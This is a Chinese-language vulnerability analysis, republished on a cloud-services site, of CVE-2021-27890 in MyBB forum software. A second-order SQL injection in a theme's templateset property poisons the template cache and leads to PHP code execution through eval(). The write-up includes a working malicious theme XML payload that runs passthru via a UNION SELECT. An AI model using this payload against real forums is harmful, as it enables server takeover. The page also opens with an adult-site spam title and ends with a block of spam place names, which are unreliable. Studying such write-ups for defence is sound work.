中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

SQL注入導致RCE漏洞CVE-2021-27890的示例分析

發布時間:2021-12-29 17:47:48 來源:億速云 閱讀:334 作者:柒染 欄目:網絡管理

SQL注入導致RCE漏洞CVE-2021-27890的示例分析,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

0x00 前言

下面將這個有點復雜的SQL注入導致的RCE的形成原理講清楚,先放從全文提煉的關鍵部分

1、模板取值使用危險函數eval(“字符串”),字符串的一部分是從數據庫取值,從數據庫所取的值是由用戶輸入

2、想使用如下形式執行代碼

eval('echo "hi, ybdt!";');

碰到過濾一:對插入到數據庫的雙引號進行了轉義,導致不能代碼不能執行,如下所示

eval('echo "passthru(\"dir\")";');

3、想要在模板值中不使用雙引號,即使用如下這種形式

eval('echo "${passthru(dir)}";');

碰到過濾二:MyBB會阻止將模板改為這種形式

4、通過導入模板時,模板某個屬性存在二階SQL注入漏洞,以此繞過3中的過濾

0x01 遠程代碼執行攻擊鏈概述

國外著名論壇軟件MyBB在1.8.16<=版本<=1.8.25受2個漏洞影響,在默認的MyBB配置下,這2個漏洞能被連在一起使用最終導致遠程代碼執行。第1個漏洞(“內嵌的自動URL”導致持久型XSS——CVE-2021-27889)發生在MyBB的渲染過程,允許任何普通論壇用戶來嵌入存儲型XSS攻擊代碼到帖子甚至私信中。

第2個漏洞(“主題屬性中的SQL注入”導致RCE——CVE-2021-27890)是由于主題屬性中存在SQL注入最終導致RCE,漏洞被觸發需要管理員權限

一個經驗豐富的攻擊者能夠開發一個針對存儲型XSS的利用,然后發送一個私信給管理員,管理員登錄論壇后打開私信,漏洞被觸發,一個RCE的利用代碼將在后臺自動執行,最終完全接管MyBB服務器

0x02 “主題屬性中的SQL注入”導致的RCE(CVE-2021-27890)技術細節

上一篇文章提到的XSS漏洞是針對MyBB論壇管理員的攻擊。如果攻擊者成功注入JavaScript代碼到正在登錄論壇的管理員瀏覽器,他將能夠執行任何管理員能執行的動作。但是MyBB限制比較嚴格,甚至阻止了管理員執行任意PHP代碼,因此我們將呈現一個需要管理員權限的授權的RCE漏洞

MyBB管理員能訪問的特性之一是MyBB論壇的主題管理器。一個MyBB主題包括一系列鍵值對,鍵指向當前頁面的內容,值包含當前頁面的內容。

下列是一個例子對于MyBB如何顯示一個主題

eval('$modcplink = "'.$templates->get('header_welcomeblock_member_moderator').'";');

上述例子中表示主題中的鍵header_welcomeblock_member_moderator被請求。相應的,主題內容的值如下

<div id='welcomeblock_back'><b>{$mybb->user['username']}</b></div>

這意味著最終傳遞給eval()的字符串如下

$modcplink = "<div id='welcomeblock_back'><b>{$mybb->user['username']}</b></div>";

正如你能看到,字符串是被包含在雙引號中的,且PHP變量{$mybb->user['username']}是被插入到字符串中。由于{$mybb->user['username']}被存儲到數據庫中時,MyBB會轉義其中的雙引號,因此沒辦法跳出雙引號,也就沒法導致遠程代碼執行

另外一個能導致RCE的PHP技巧是,攻擊者修改模板,添加一個$到變量前,變成字符串內插,如下所示

$modcplink = "<div id='welcomeblock_back'><b>${arbitrary_function()}</b></div>";

然而,MyBB也會通過阻止管理員插入這樣的形式來阻止這種特有的PHP技巧。

這意味著如果我們能夠發現一種方式繞過MyBB過濾器,我們將依舊能夠執行任意PHP代碼。我們將通過一個SQL注入實現繞過

MyBB主題能被導入通過XML文件,這個XML文件包含一系列主題屬性(例如圖像目錄或版本),即一系列鍵值對,這一系列鍵值對將被讀取,其中name是和鍵相關的,value是內容。這是一個例子:

<?xml version="1.0" encoding="UTF-8"?>
<theme name="Theme Example" version="1405">
   <properties>  <templateset><![CDATA[10]]></templateset>  <imgdir><![CDATA[images/]]></imgdir>  <logo><![CDATA[images/logo.png]]></logo>
   </properties>
   <stylesheets></stylesheets>
   <templates>  <template name="header_welcomeblock_member_moderator" version="1404"><![CDATA[
         <div id='welcomeblock_back'><b>{$mybb->user['username']}</b></div>  ]]></template>
   </templates>
</theme>

當一個管理員導入這樣一個主題,XML是被解析,然后主題屬性被存儲到數據庫。templateset屬性存在二階SQL注入

當這些主題被上傳時,它們是被插入到MyBB的數據庫實例中,并且在之后的其他SQL查詢中沒有任何過濾

我們已經知道了MyBB模板內容的值將傳遞給eval(),因此一個能控制主題屬性值的攻擊者將能夠導致任意PHP代碼執行。下列段落描述了SQL注入,讓一個攻擊者能夠注入惡意模板代碼到eval()調用中。

在每一個頁面被載入的開始,MyBB會從數據庫中取出全部的模板值,并存儲它們到一個緩存中,其中SQL查詢會使用templateset屬性取到全部的模板值,這個templateset屬性是被嵌入到查詢字符串中,因此一個SQL注入漏洞發生了:

$query = $db->simple_select("templates", "title,template",
    "title IN (''$sql) AND sid IN ('-2','-1','".$theme['templateset']."')",
    array('order_by' => 'sid', 'order_dir' => 'asc')

正如被展示,查詢會簡單的拼接templateset屬性。使用一個惡意的主題,一個人能夠控制這個屬性,然后讓這個緩存函數返回攻擊者控制的值。這是一個例子對于這樣一個構造的主題使用一個SQL注入payload:

<?xml version="1.0" encoding="UTF-8"?>
<theme name="Default" version="1821">
   <properties>  <templateset>') AND 1=0 UNION SELECT title, '${passthru(\'ls\')}' from mybb_templates -- </templateset>
   </properties>
</theme>

最終的SQL查詢將看起來如下:

SELECT title, template FROM mybb_templates WHERE 
   title IN (‘header_welcomeblock_member_moderator’, ‘...’) AND SID IN (‘-2’, ‘-1’, ‘’) 
   AND 1=0 UNION SELECT title, '${passthru(\'ls\')}' from mybb_templates -- ’)

通過這個SQL注入,使用攻擊者控制的數據來施毒模板緩存,其沒有經過任何轉義或過濾,這些模板值是完全攻擊者控制的,然后被傳遞給eval()的雙引號字符串中,因此我們能執行任意PHP代碼在${}語法中。最終,一個攻擊者能夠執行任意PHP代碼,然后拿下服務器

看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

永寿县| 陆河县| 福清市| 大化| 长武县| 措美县| 祁东县| 德安县| 禄劝| 天等县| 卢龙县| 博罗县| 启东市| 汉阴县| 报价| 武川县| 泰安市| 从化市| 九龙县| 清涧县| 呼伦贝尔市| 舞阳县| 满洲里市| 芜湖县| 陇西县| 五台县| 奎屯市| 顺昌县| 福清市| 无棣县| 灌南县| 藁城市| 房产| 新建县| 彭阳县| 宁陵县| 抚宁县| 安福县| 新闻| 漳平市| 蓬溪县|